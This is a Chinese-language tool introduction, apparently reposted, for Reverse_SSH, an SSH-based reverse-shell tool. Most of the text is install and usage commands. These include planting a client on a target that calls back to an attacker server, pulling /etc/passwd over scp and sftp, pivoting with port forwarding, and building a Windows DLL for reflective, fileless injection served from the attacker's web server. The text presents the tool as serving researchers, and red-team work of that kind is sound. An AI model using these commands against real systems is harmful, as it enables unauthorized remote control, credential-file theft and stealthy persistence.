一款基于SSH的反向Shell工具。
Reverse_SSH上一款基于SSH的反向Shell工具，在该工具的帮助下，广大研究人员可以使用SSH来实现反向Shell，并同时拥有下列功能：
1、使用原生SSH语句管理和连接反向Shell；
2、动态、本地和远程转发；
3、原生SCP和SFTP实现，用于从目标获取文件；
4、完整功能的Windows Shell；
5、实现了客户端&服务器端身份验证，以创建高信任高可用的控制通道；
6、其他…
工具架构
工具安装
Docker安装
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your_external_address>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v data:/data reversessh/reverse_ssh
手动安装
git clone https://github.com/NHAS/reverse_ssh
cd reverse_ssh
make
cd bin/
运行下列命令后即可启动服务器：
cp ~/.ssh/id_ed25519.pub authorized_keys
./server 0.0.0.0:3232
工具运行
将客户端拷贝到目标设备中，然后让客户端连接服务器：
./client your.rssh.server.com:3232
获取工具帮助信息：
ssh your.rssh.server.com -p 3232 help
查看客户端：
ssh your.rssh.server.com -p 3232 ls -t
连接到完整Shell：
ssh -J your.rssh.server.com:3232 0f6ffecb15d75574e5e955e014e0546f6e2851ac
或直接使用主机名连接：
ssh -J your.rssh.server.com:3232 root.wombo
接下来，可以开启远程转发功能：
ssh -R 1234:localhost:1234 -J your.rssh.server.com:3232 root.wombo
或开启动态转发：
ssh -D 9050 -J your.rssh.server.com:3232 root.wombo
SCP：
scp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .
SFTP：
sftp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .
其他功能
默认服务器
可以在项目构建的时候指定一个默认服务器：
$ RSSH_HOMESERVER=your.rssh.server.com:3232 make
$ bin/client
$ bin/client example.com:3232
Windows DLL生成
我们还可以将客户端编译成DLL，并使用类似Invoke-ReflectivePEInjection之类的工具进行加载。此时，如果你使用的是Linux系统，可以使用mingw-w64-gcc编译器：
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1
.1:2343 make client_dll
当RSSH服务器启用了Webserver之后，我们也可以使用下列命令进行编译：
./server --webserver :3232
ssh your.rssh.server.com -p 3232
catcher$ link --name windows_dll --shared-object --goos windows
http://your.rssh.server.com:3232/windows_dll
这种情况适用于无文件注入的场景。
Webhook
RSSH服务器可以通过命令行终端接口并使用webhook命令发送原始HTTP请求。
首先，启用一个webhook：
$ ssh your.rssh.server.com -p 3232
catcher$ webhook --on http://localhost:8080/
接下来，连接客户端，并使用下列格式发送一个POST请求：
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip
{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%
项目地址
Reverse_SSH：https://github.com/NHAS/reverse_ssh
